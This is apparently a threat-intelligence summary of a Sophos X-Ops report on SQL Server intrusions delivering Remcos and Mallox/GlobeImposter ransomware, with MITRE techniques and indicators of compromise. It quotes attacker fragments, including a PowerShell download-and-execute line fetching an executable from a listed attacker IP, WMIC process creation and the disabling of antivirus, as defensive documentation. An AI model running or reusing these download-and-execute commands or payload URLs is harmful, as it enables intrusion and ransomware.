OODA: X-Ops Takes On Burgeoning SQL Server Attacks

Sophos X-Ops describes a coordinated Observe-Orient-Decide-Act loop among SophosLabs, SecOps, MTR, and Sophos AI to study and disrupt a wave of Microsoft SQL Server attacks leveraging old RCE CVEs and delivering Remcos or various ransomware families including TargetCompany/Mallox and GlobeImposter/Alpha865qqz. The report emphasizes cross-team collaboration, rapid containment, and ongoing protection improvements to prevent repeat incidents in Asia and the Americas. #Mallox #TargetCompany #GlobeImposter #Alpha865qqz #Remcos #KMSAuto #SQLServer #CVE-2019-1068 #CVE-2020-0618 #SophosXOps

Keypoints

  • The investigation notes an uptick in attacks against Microsoft SQL Server leveraging CVE-2019-1068 and CVE-2020-0618, with victims located primarily in Asia.
  • Attacks deploy Remcos and multiple ransomware families, including TargetCompany/Mallox and GlobeImposter/Alpha865qqz, using externally exposed/unpatched SQL servers.
  • Sophos MTR and Rapid Response coordinated to identify the threat’s infrastructure, IoCs, and attack steps, with ongoing input from Sophos Labs and Sophos AI.
  • Initial access was observed via SQL Server, with download-and-execute chains starting from PowerShell and .NET components reaching final payloads.
  • Infection chains employ PowerShell downloaders, dotNet downloaders, and obfuscated/encrypted payloads, ultimately delivering ransomware or Remcos.
  • Kill$ cleaner, 7zip SFX installers, AutoIt-based loaders, and other components show a diverse toolset used during the compromise, including attempts to disable defenses (IOBit Unlocker).
  • Rapid Response helped prevent lateral movement and encryption on the customer, highlighting the value of cross-team collaboration and a strong security stack (including Intercept X).

MITRE Techniques

  • [T1190] Exploit Public-Facing Application – Initial access via exploiting publicly accessible SQL Server vulnerabilities; β€˜externally exposed and unpatched SQL servers.’
  • [T1059.003] Windows Command Shell – Use of cmd.exe to execute commands that download and run payloads; β€˜C:Windowssystem32cmd.exe” /c β€œecho $client = New-Object …’
  • [T1059.001] PowerShell – Use of PowerShell to download and execute update.ps1 and subsequent components; β€˜$client.DownloadFile(β€œhttp://91[.]243[.]44[.]142/arx-Ikrbwika.exe”,”C:UsersMSSQL$~1AppDataLocalTempVKDA55H6.exe”)’
  • [T1047] Windows Management Instrumentation – Execution via WMIC to create processes for payloads; β€˜WMIC process call create …’
  • [T1027] Obfuscated/Encrypted Files and Information – Final payload is obfuscated/encrypted and decoded by the downloader; β€˜The final payload is in obfuscated or encrypted form, so the dotNet downloader has to decode it first.’
  • [T1486] Data Encrypted for Impact – Ransomware encryption observed and mitigated by CryptoGuard; β€˜Sophos CryptoGuard detected a ransomware attack and prevented encryption of essential files.’
  • [T1562.001] Impair Defenses – Attempts to disable protections via IOBit Unlocker; β€˜to disable antivirus and antimalware protections such as Intercept X.’

Indicators of Compromise

  • [IP] – C2/download servers and activity hosts – 91.243.44.42, 91.243.44.142, and 91.243.44.105
  • [File Hash] – Example payloads observed in campaigns – 7d0687911ea9423310b7b83ebec9f52944ac022795c3b796aca5f0d2d15954b1, 8bb03cb1d5faf00b93612a10f24fb3afe025f59c0226a4b20b1a61fe06cd2077, 5d0e4ef9ee1f3a319faa45c572b5e7097865ddbda3840d138ae65a7d829cfddf
  • [File Name] – Downloads and executables tied to the campaign – 9YFHR4SL.exe, C258SEE8.exe
  • [URL] – Download and payload delivery URLs – http://91.243.44.105/Lvmsrqz_Phdvabki.jpg, http://91.243.44.142/arx-Ikrbwika.exe
  • [Email] – Ransom note and contact addresses – [email protected], [email protected], [email protected]

Read more: https://news.sophos.com/en-us/2022/07/20/ooda-x-ops-takes-on-burgeoning-sql-server-attacks/